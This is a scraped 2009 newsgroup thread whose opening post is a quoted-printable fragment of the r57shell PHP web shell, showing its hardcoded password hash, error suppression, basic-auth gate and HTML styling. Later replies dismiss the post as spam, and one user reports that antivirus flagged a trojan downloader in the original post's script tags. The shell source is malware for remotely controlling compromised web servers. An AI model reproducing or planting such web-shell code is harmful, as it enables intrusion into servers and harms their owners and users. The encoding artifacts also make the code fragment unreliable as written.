=BD =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0=B5=D0=BB=D1=
=8F
(user
 login)
 $pass=3D'ec371748dc2da624b35a4f8f685dd122'; // =D0=BF=D0=B0=D1=80=D0=BE=D0=
=BB=D1=8C =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0=B5=D0=
=BB=D1=8F
(user
 password)
 /
=20
***************************************************************************=
*************************/
 error_reporting(0);
 set_magic_quotes_runtime(0);
 @set_time_limit(0);
 @ini_set('max_execution_time',0);
 @ini_set('output_buffering',0);
 $safe_mode =3D @ini_get('safe_mode');
 $version =3D '1.31';
 if(version_compare(phpversion(), '4.1.0') =3D=3D -1)
  {
  $_POST   =3D &$HTTP_POST_VARS;
  $_GET    =3D &$HTTP_GET_VARS;
  $_SERVER =3D &$HTTP_SERVER_VARS;
  $_COOKIE =3D &$HTTP_COOKIE_VARS;
  }
 if (@get_magic_quotes_gpc())
  {
  foreach ($_POST as $k=3D>$v)
   {
   $_POST[$k] =3D stripslashes($v);
   }
  foreach ($_COOKIE as $k=3D>$v)
   {
   $_COOKIE[$k] =3D stripslashes($v);
   }
  }

 if($auth =3D=3D 1) {
 if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER
 ['PHP_AUTH_USER'])!=3D=3D$name || md5($_SERVER['PHP_AUTH_PW'])!=3D=3D$pass=
)
    {
    header('WWW-Authenticate: Basic realm=3D"r57shell"');
    header('HTTP/1.0 401 Authorized');
    exit("<b><a href=3Dhttp://MEAMI.ORG/http:///rst.void.ru>r57shell</a>
 : Access Permitted</b>");
    }}

 $head =3D '<!-- =D0=97=D0=B4=D1=80=D0=B0=D0=B2=D1=81=D1=82=D0=B2=D1=83=D0=
=B9, =D0=92=D0=B0=D1=81=D1=8F -->
 <html>
 <head>
 <title>r57shell</title>
 <meta http-equiv=3D"Content-Type" content=3D"text/html;
 charset=3Dwindows-1251">

 <STYLE>
 tr {
 BORDER-RIGHT:  #aaaaaa 1px solid;
 BORDER-TOP:    #eeeeee 1px solid;
 BORDER-LEFT:   #eeeeee 1px solid;
 BORDER-BOTTOM: #aaaaaa 1px solid;
 color: #000000;}

 td {
 BORDER-RIGHT:  #aaaaaa 1px solid;
 BORDER-TOP:    #eeeeee 1px solid;
 BORDER-LEFT:   #eeeeee 1px solid;
 BORDER-BOTTOM: #aaaaaa 1px solid;
 color: #000000;}

 .table1 {
 BORDER: 0px;
 BACKGROUND-COLOR: #D4D0C8;
 color: #000000;}

 .td1 {
 BORDER: 0px;
 font: 7pt Verdana;
 color: #000000;}

 .tr1 {
 BORDER: 0px;
 color: #000000;}

 table {
 BORDER:  #eeeeee 1px outset;
 BACKGROUND-COLOR: #D4D0C8;
 color: #000000;}

 input {
 BORDER-RIGHT:  #ffffff 1px solid;
 BORDER-TOP:    #999999 1px solid;
 BORDER-LEFT:   #999999 1px solid;
 BORDER-BOTTOM: #ffffff 1px solid;
 BACKGROUND-COLOR: #e4e0d8;
 font: 8pt Verdana;
 color: #000000;}

 select {
 BORDER-RIGHT:  #ffffff 1px solid;
> BORDER-TOP:    #999999 1px solid;
> BORDER-LEFT:   #999999 1px solid;
> BORDER-BOTTOM: #ffffff 1px solid;
> BACKGROUND-COLOR: #e4e0d8;
> font: 8pt Verdana;
> color: #000000;;}
>
0
Reply marty.musatov (1142) 10/26/2009 12:39:58 AM


On 2009-10-26, Anonymous Number of People wrote:
>  submit {
>> BORDER: ??buttonhighlight 2px outset;

   [1,500 lines of rubbish snipped]

   <PLONK!>

-- 
   Chris F.A. Johnson                      <http://cfaj.freeshell.org>
   ===================================================================
   Author:
   Shell Scripting Recipes: A Problem-Solution Approach (2005, Apress)
0
Reply cfajohnson (1783) 10/26/2009 2:10:44 AM

Chris F.A. Johnson wrote:
> On 2009-10-26, Anonymous Number of People wrote:
>>  submit {
>>> BORDER: ??buttonhighlight 2px outset;
> 
>    [1,500 lines of rubbish snipped]

VIRUS-INFECTED rubbish. The HTML preamble on his first post links to a 
trojan, which my copy of Avast! dutifully warned about (even though I 
display HTML posts as plain text so the evil script in it won't run anyway).

I didn't think our resident troll would stoop THAT low; color me surprised.
0
Reply searles (445) 10/26/2009 2:32:17 AM

Dave Searles wrote:
> Chris F.A. Johnson wrote:
>> On 2009-10-26, Anonymous Number of People wrote:
>>>  submit {
>>>> BORDER: ??buttonhighlight 2px outset;
>>
>>    [1,500 lines of rubbish snipped]
> 
> VIRUS-INFECTED rubbish. The HTML preamble on his first post links to a 
> trojan, which my copy of Avast! dutifully warned about (even though I 
> display HTML posts as plain text so the evil script in it won't run 
> anyway).
> 
> I didn't think our resident troll would stoop THAT low; color me surprised.

Do you mean the hidden analytics/ga.js link? Quite a nasty surprise, 
yes. It's said to be just a visitor counter, and

"[t]hey do appear to be a legit hosting co., with seemingly dubious 
tactics."

-- but color me dubious.

[Jw]
0
Reply sorry22 (44) 10/26/2009 2:24:35 PM

[Jongware] wrote:
> Dave Searles wrote:
>> Chris F.A. Johnson wrote:
>>> On 2009-10-26, Anonymous Number of People wrote:
>>>>  submit {
>>>>> BORDER: ??buttonhighlight 2px outset;
>>>
>>>    [1,500 lines of rubbish snipped]
>>
>> VIRUS-INFECTED rubbish. The HTML preamble on his first post links to a 
>> trojan, which my copy of Avast! dutifully warned about (even though I 
>> display HTML posts as plain text so the evil script in it won't run 
>> anyway).
>>
>> I didn't think our resident troll would stoop THAT low; color me 
>> surprised.
> 
> Do you mean the hidden analytics/ga.js link? Quite a nasty surprise, 
> yes.

There's script tags in the first post. The second one, where Musatov 
replies to himself, doesn't trigger Avast!

Avast! says the first post contains code for JS:TrojDnldr-16 [Trj].
0
Reply searles (445) 10/27/2009 5:50:03 PM

5 Replies
30 Views

(page loaded in 0.114 seconds)


Reply: